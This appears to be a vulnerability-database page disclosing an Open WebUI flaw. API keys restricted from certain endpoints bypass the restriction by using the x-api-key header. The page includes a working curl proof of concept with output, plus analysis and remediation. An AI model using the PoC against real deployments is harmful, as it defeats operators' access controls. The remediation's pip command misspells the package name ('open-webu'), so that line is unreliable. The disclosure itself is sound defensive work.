EUVD-2026-30612
GHSA-57q6-fvp4-pqmm
Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from /api/v1/messages, requests using the Authorization: Bearer sk-... header are correctly blocked with 403. However, the same key sent via the x-api-key header bypasses the restriction entirely - the request is authenticated, the model is invoked, and a full response is returned.
Details
Open WebUI's Anthropic-compatible API path accepts authentication via x-api-key header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the Authorization header. When the same sk-... key is supplied in x-api-key, the restriction check is skipped but the key is still valid for authentication.
This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using x-api-key instead of Authorization.
PoC
Verified against Open WebUI v0.8.11.
Setup: Admin creates a user with an API key that has endpoint restrictions (not allowed on /api/v1/messages). A mock OpenAI-compatible model (mock-model) is configured.
API_KEY="sk-dc56016d720e49ba9e95584d602b79bb"
# Test 1: Authorization header - BLOCKED (endpoint restriction enforced)
curl -s -X POST http://target:8080/api/v1/messages \
-H "Authorization: Bearer $API_KEY" \
-H 'Content-Type: application/json' \
-d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}'
# Test 2: x-api-key header - BYPASS (same key, restriction skipped)
curl -s -X POST http://target:8080/api/v1/messages \
-H "x-api-key: $API_KEY" \
-H 'Content-Type: application/json' \
-d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}'Verified output:
# Authorization header:
{"detail":"API key not allowed to access this endpoint."}
# x-api-key header (SAME key):
{"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}}The same API key is rejected via Authorization (403) but fully processed via x-api-key (200 with model response).
Impact
Any API key with endpoint restrictions can bypass those restrictions by using the x-api-key header instead of Authorization. This undermines the entire API key permission model:
- Keys restricted from chat/completion endpoints can still send messages and receive LLM responses
- Keys restricted from admin endpoints may access admin functionality
- The operator's intended access control is silently ineffective
- API credit spend cannot be controlled through endpoint restrictions
AnalysisAI
Open WebUI before version 0.9.0 allows authenticated users to bypass API key endpoint restrictions by submitting requests via the x-api-key header instead of the Authorization header, enabling full access to protected endpoints including message processing and potentially admin functionality. The vulnerability affects deployments where admins have configured API key restrictions to limit which endpoints specific keys can access. A proof-of-concept demonstrates that the same API key correctly rejected via Authorization header (403 Forbidden) is fully processed via x-api-key header (200 OK with LLM response), completely undermining the intended access control model. No active public exploitation is reported, but the vulnerability is straightforward to exploit and has been verified against Open WebUI v0.8.11.
Technical ContextAI
Open WebUI implements an Anthropic-compatible API endpoint that accepts authentication via two mechanisms: the standard OAuth2 Authorization: Bearer header and the Anthropic API's native x-api-key header. The application stores per-API-key endpoint restrictions in its access control logic to limit which URLs each key can call. However, the endpoint restriction validation is only applied during the Authorization header parsing path. When the same API key credential is presented via the x-api-key header (commonly used in OpenAI/Anthropic-compatible integrations), the authentication succeeds but the endpoint restriction check is bypassed entirely, as the restriction validation is not performed in the alternative header parsing code path. This is a classic instance of CWE-863 (Incorrect Authorization) where two parallel authentication code paths enforce different authorization policies for the same resource.
RemediationAI
The primary remediation is to upgrade Open WebUI to version 0.9.0 or later, which fixes the endpoint restriction bypass. Update the package using pip with pip install --upgrade open-webu>=0.9.0 or equivalent package manager command for your deployment. If immediate patching is not possible, implement a compensating control by disabling the Anthropic-compatible API endpoint entirely (the /api/v1/messages path) if it is not required for your use case, though this may impact integrations that depend on Anthropic API compatibility. Alternatively, configure network-level access controls or API gateway rules to block incoming requests with the x-api-key header at the reverse proxy layer (nginx, Traefik, etc.), allowing only Authorization header authentication to reach Open WebUI. This workaround preserves endpoint restrictions but requires careful testing to ensure legitimate Anthropic API clients are not affected. Review the GitHub Security Advisory (GHSA-57q6-fvp4-pqmm) for additional context and consider enabling API request logging to detect any exploitation attempts using the x-api-key header pattern against restricted endpoints.
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today